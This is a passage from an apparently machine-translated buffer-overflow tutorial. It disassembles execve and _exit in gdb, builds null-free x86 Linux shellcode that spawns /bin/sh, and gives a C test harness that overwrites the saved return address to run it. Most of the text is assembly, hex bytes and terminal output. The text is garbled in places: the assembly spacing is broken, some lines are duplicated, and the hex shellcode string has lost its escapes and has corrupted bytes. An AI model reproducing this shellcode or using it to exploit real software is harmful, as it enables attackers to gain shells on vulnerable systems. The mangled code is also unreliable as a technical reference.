0x80481ad : push %eax
[main+33] 0x80481ad : push %eax
/bin/sh
0x80481ae : push %edx
[main+34]0x80481ae : push %edx
See the execve()
and _exit()
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804c6ec: push% ebp 0x804c6ed : mov% esp,% ebp 0x804c6ef : push% edi 0x804c6f0 : push% ebx 0x804c6f1 : mov 0x8 (% ebp),% edi 0x804c6f4 : mov $ 0x0,% eax 0x804c6f9 : test% eax,% eax 0x804c6fb : je 0x804c702 0x804c6fd : call 0x0 0x804c702 : mov 0xc (% ebp),% ecx 0x804c705 : mov 0x10 (% ebp),% edx 0x804c708 [ __execve + 28]:% ebx push 0x804c709 : mov% edi,% ebx 0x804c70b : mov $ 0xb,% eax 0x804c710 : int $ 0x80 0x804c712 : pop% ebx 0x804c713 : mov% eax,% ebx 0x804c715 : cmp $ 0xfffff000,% ebx 0x804c71b : jbe 0x804c72b 0x804c71d : call 0x80482b8 0x804c722 : neg% ebx 0x804c724 : mov% ebx, (% eax) 0x804c726 : mov $ 0xffffffff,% ebx 0x804c72b ]: mov% ebx,% eax 0x804c72d : lea 0xfffffff8 (% ebp),% esp 0x804c730 : pop% ebx 0x804c731 : pop% edi 0x804c732 : leave 0x804c733 : ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804c6d0: mov% ebx,% edx 0x804c6d2 : mov 0x4 (% esp, 1),% ebx 0x804c6d6 : mov $ 0x1, % eax 0x804c6db : int $ 0x80 0x804c6dd : mov% edx,% ebx 0x804c6df : cmp $ 0xfffff001,% eax 0x804c6e4 : jae 0x804ca80 End of assembler dump. (gdb) quit
The operating system will execute a call
by calling 0x80
interrupt, at 0x804c710
for execve()
and 0x804c6db
for _exit()
. These addresses are often not the same for each system function, the distinguishing feature is the register content %eax
. See above, this value is 0xb
with execve()
while _exit()
is 0x1
.
Figure 4: execve function and parameter
Analyzing the above assembly language code, we draw the following conclusions:
__execve()
function with interrupt call 0x80
: %edx
holds the address value of the environment variable array: 0x804c705 [__execve+25]: mov 0x10(%ebp),%edx
For simplicity, we will use an empty environment variable by assigning this value with a NULL
pointer.%ecx
holds the address value of the parameter array0x804c702 [__execve+22]: mov 0xc(%ebp),%ecx
The first parameter must be the name of the program, here simply an array to contain the address of the string "/bin/sh"
and end with a NULL
pointer.%ebx
holds the address of the program name string to execute, in this case "/bin/sh"
0x804c6f1 [__execve+5]: mov 0x8(%ebp),%edi
.
0x804c709 [__execve+29]: mov %edi,%ebx
%ebx
0x804c6d2 [_exit+2]: mov 0x4(%esp,1),%ebx
To finish creating assembly language code, we need a place containing the string "/bin/sh"
, a pointer to this string and a NULL
pointer (to terminate the parameter array, and also an environment variable pointer). ). The above data must be prepared before implementing execve()
.
Usually shellcode will be inserted into the faulty program via command line parameters, environment variables or keyboard input / file strings. Either way, when creating shellcode, we cannot know its address. Not only that, we also have to know the string "/bin/sh"
advance. However, with some tricks we can solve that problem. There are two ways to locate shellcode on memory, all via indirect positioning to ensure independence. For simplicity, here we will show how to locate shellcode using the stack.
To prepare the parameter array and the environment variable pointer for the execve()
function, we will place the string "/bin/sh"
, the NULL
pointer on the stack and specify the address via %esp
register value %esp
. Assembly language code will have the following form:
beginning_of_shellcode: pushl $ 0x0 // null value ends / bin / sh pushl "/ bin / sh" // string / bin / sh movl% esp,% ebx //% ebx contains / bin / sh push NULL // NULL pointer of parameter array . (assembly code of shellcode)
Error functions are usually string handling functions like strcpy()
, scanf()
. To insert code in the middle of the program, shellcode must be copied as a string. However, the string handler functions will complete once a null character is encountered ( ). Therefore, our shellcode must not contain any null values. We will use some tricks to remove null values, for example:
push $ 0x00
The equivalent will be replaced by:
xorl% eax,% eax push% eax
That's how to handle null bytes directly. The null value also arises when converting the code to hexa. For example, the command turns the 0x1
value into %eax
to call _exit()
:
0x804c6d6 : mov $ 0x1,% eax
Converting to hexadecimal will become a string:
b8 01 00 00 00 mov $ 0x1,% eax
The trick to use is to initialize the value to %eax
with a register of value 0, then increase it to 1 (or use the movb
command to operate on a low byte of %eax
)
31 c0 xor% eax,% eax 40 inc% eax
We already have all that is needed to create shellcode. Program to create shellcode:
/ * shellcode_asm.c * / int main () {asm ("/ * push null value ends / bin / sh on stack * / xorl% eax,% eax pushl% eax / * push string / bin / sh on stack * / pushl $ 0x68732f2f / * string // sh, length 1 word * / pushl $ 0x6e69622f / * string / bin * / / *% ebx contains / bin / sh * / movl% string address,% ebx / * push pointer NULL, second element of parameter array * / pushl% eax / * push address of / bin / sh, second element of parameter array * / pushl% ebx / *% ecx contains array address parameter * / movl% esp,% ecx / *% edx contains the array address of the environment variable, the pointer NULL * / / * can use the equivalent cdq command, 1 byte shorter * / movl% eax,% edx / * Execve () function:% eax = 0xb * / movb $ 0xb,% al / * Call function * / int $ 0x80 / * Value returned 0 for _exit () * / xorl% ebx,% ebx / * Function _exit ():% eax = 0x1 * / movl% ebx,% eax inc% eax / * Calling the function * / int $ 0x80 "); } }
Above shellcode translation and dump in assembly language:
[SkZ0 @ gamma bof] $ gcc -o shellcode_asm shellcode_asm.c [SkZ0 @ gamma bof] $ objdump -d shellcode_asm | grep: -A 17 08048380: 8048380: 55 pushl% ebp 8048381: 89 e5 movl% esp,% ebp 8048383: 31 c0 xorl% eax,% eax 8048385: 50 pushl% eax 8048386: 68 2f 2f 73 68 pushl $ 0x68732f2f 804838b : 68 2f 62 69 6l pushl $ 0x6e69622f 8048390: 89 movl% e3 esp,% ebx 8048392: 50 pushl% eax 8048393: 53 pushl% ebx 8048394: 89 movl% e1 esp,% ecx 8048396: 89 c2 movl% eax,% edx 8048398: b0 0b movb $ 0xb,% al 804839a: cd 80 int $ 0x80 804839c: 31 db xorl% ebx,% ebx 804839e: 31 c0 xorl% eax,% eax 80483a0: 40 incl% eax 80483a1: cd 80 int $ 0 x80
Test shellcode on:
/ * testsc.c * / char shellcode [] = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50" "x53x89xe1x89xc2xb0x0bxcdx80x31xbx31xc0x40xcdx80"; int main () {int * ret; /* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ shellcode */ /* khoảng cách so với biến ret là 8 byte (2 word): */ /* - 4 byte cho biến ret */ /* - 4 byte cho giá trị bảo lưu %ebp */ * ((int *) & ret + 2) = (int) shellcode; / * override the value of saving% eip on the stack with shellcode * / / * address distance from ret variable is 8 bytes (2 word): * / / * - 4 bytes for ret * / / * variable - 4 byte for reservation value% ebp * / * ((int *) & ret + 2) = (int) shellcode; return (0); return (0); } }
Test the testsc
program:
[SkZ0 @ gamma bof] $ gcc testsc.c -o testsc [SkZ0 @ gamma bof] $ ./testsc bash $ exit [SkZ0 @ gamma bof] $
We can add functions to extend the functionality of shellcode, perform other necessary operations before calling "/bin/sh"
such as setuid()
, setgid()
, chroot()
, . by insert the assembly code of these functions before the above shellcode segment.
As can be seen in the shellcode test example, the basic idea to exploit the buffer overflow, details will be presented in the next section.